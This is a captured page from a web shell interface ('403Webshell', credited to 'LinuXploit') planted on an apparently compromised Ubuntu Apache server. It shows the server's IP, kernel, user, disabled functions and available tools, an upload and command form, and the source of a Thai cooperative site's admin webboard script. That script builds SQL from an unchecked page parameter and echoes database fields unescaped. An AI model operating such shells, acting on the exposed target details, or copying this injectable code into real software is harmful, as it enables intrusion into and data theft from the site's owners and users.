403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/cooperative/sell/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/cooperative/sell/webboard.php
<?
ob_start();
session_start();
if($_SESSION["adminlogin"]=="")
{
header('location:index.php');
exit();
}
//============ Start Session และทำการเรียก Function ติดต่อฐานข้อมูล 
require_once('../connect/connect.php');
require_once("../connect/function.php");

?>
<html>
<title>..:: ระบบจัดการฐานข้อมูล ::</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel="stylesheet" href="../css/styles.css" type="text/css">
<div align="center"><br>
  <table cellspacing=1 cellpadding=4 width="68%" bgcolor=#CCCCCC border=0 align="center" height="10">
    <tbody>
      <tr bgcolor=#e5e5e5> 
        <td width="100%" bgcolor="#FFFFFF"> <div align="center"></div>
          <table cellspacing=1 cellpadding=4 width="100%" border=0 align="center" height="10">
            <tbody>
              <tr bgcolor=#e5e5e5> 
                <td width="35%" bgcolor="#FFFFFF"> <div align="left"><b><img src="../image/allrowto.gif" width="11" height="11" align="absbottom"> 
                    จัดการกระทู้</b></div></td>
                <td width="22%" align=middle bgcolor="#FFFFFF"> <div align="left"> 
                  </div></td>
                <td width="43%" bgcolor="#FFFFFF"> <div align="right"><a href="head.php">กลับไปหน้าหลัก</a></div></td>
              </tr>
            </tbody>
          </table></td>
      </tr>
    </tbody>
  </table>
</div>
  <table width="68%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr> 
      <td width="58%">&nbsp;</td>
      <td width="42%">&nbsp;</td>
    </tr>
  </table>
  
<table width="69%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr> 
    <td> 
      <table width="100%" cellpadding="1" cellspacing="1">
        <?
		//=========== แสดงกระทู้ทั้งหมด
$sql = "SELECT * FROM question ";
/*   ตั้งค่า แสดงผลต่อหน้า  $Per_Page   */

$Per_Page =37;
if(!$Page)
$Page=1;

//===========  คำนวณเพื่อแสดงผลเป็นหน้า
$Prev_Page = $Page-1;
$Next_Page   = $Page+1;

$result=mysql_query($sql);
$Page_start = ($Per_Page*$Page)-$Per_Page;
$Num_Rows = mysql_num_rows($result);

if($Num_Rows<=$Per_Page)
		$Num_Pages =1;
else if(($Num_Rows % $Per_Page)==0)
		$Num_Pages =($Num_Rows/$Per_Page)	;
else 
		$Num_Pages =($Num_Rows/$Per_Page)	+1;

$Num_Pages  = (int)$Num_Pages;

if(($Page>$Num_Pages)	|| ($Page<0))
print "<center><b>จำนวน $Page มากกว่า $Num_Pages ยังไม่มีข้อความ<b></center>";
$sql .= "  WHERE 1 ORDER BY QUESTION_ID DESC 	LIMIT $Page_start , $Per_Page";
  //ส่วนแสดงผล
  $intRow=0;
  //===========  วนลุปแสดงข้อมูลทั้งหมด
		$query =  mysql_query($sql);
		While($result= mysql_fetch_array($query)){
									   $intRow++;
										//=========== สลับสีของตาราง
									  if($intRow%2==1)
									  {
									  $bg="";
									  }
									  else
									  {
									  $bg="bgcolor=#f9f9f9";
									  }		
?>
        <tr> 
          <td class="listA" valign="top" width="22" <?=$bg;?>><img height="12" alt="No update" src="../image/webboard.gif" width="14"></td>
          <td valign="top" <?=$bg;?>><span class="boxtext"> <a href="viewdetail.php?QuestionID=<?=$result["QUESTION_ID"];?>" class="style19"> 
            <?=($result["SUBJECT"]);?>
            </a> <a href="javascript:if(confirm('ต้องการลบกระทู้นี้ ใช่หรือไม่')==true){ window.location='viewdetail.php?AC=DELETE1&QuestionID=<?=$result["QUESTION_ID"];?>'; }else{}"><img src="images/delete.gif" width="12" height="11" border="0"></a> 
            </span></td>
          <td width="19" align="right" valign="top" <?=$bg;?> class="boxtext style18">
            <?=num_record("reply","WHERE 1 AND QUESTION_ID='".$result["QUESTION_ID"]."' "); ?>
          </td>
        </tr>
        <?
		}
		?>
      </table>
      <br>
      <table cellspacing="1" cellpadding="1">
        <tr> 
          <td class="boxtext" colspan="10">จำนวน 
            <?=$Page;?>
            หน้า <b> 
            <?=$Num_Pages;?>
            </b> ( 
            <?= $Num_Rows;?>
            กระทู้) </td>
        </tr>
      </table>
      <table width="98%" border="0" cellpadding="1" cellspacing="1">
        <tr> 
          <td> 
            <?/* สร้างปุ่มย้อนกลับ */
			if($Prev_Page)	
					echo " <a href='$PHP_SELF?Page=$Prev_Page' class='boxtext'><< Back </a> ";
			for($i=1; $i<$Num_Pages; $i++){
						if($i != $Page)
								echo " [ <a href='$PHP_SELF?Page=$i' class='boxtext'>$i</a> ]";
						else 
								echo "<b> $i </b>";
		}
/*สร้างปุ่มเดินหน้า */
if($Page!=$Num_Pages)
					echo " <a href ='$PHP_SELF?Page=$Next_Page' class='boxtext'> Next >>  </a>";
			
			?>
            &nbsp;</td>
        </tr>
      </table> </td>
  </tr>
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit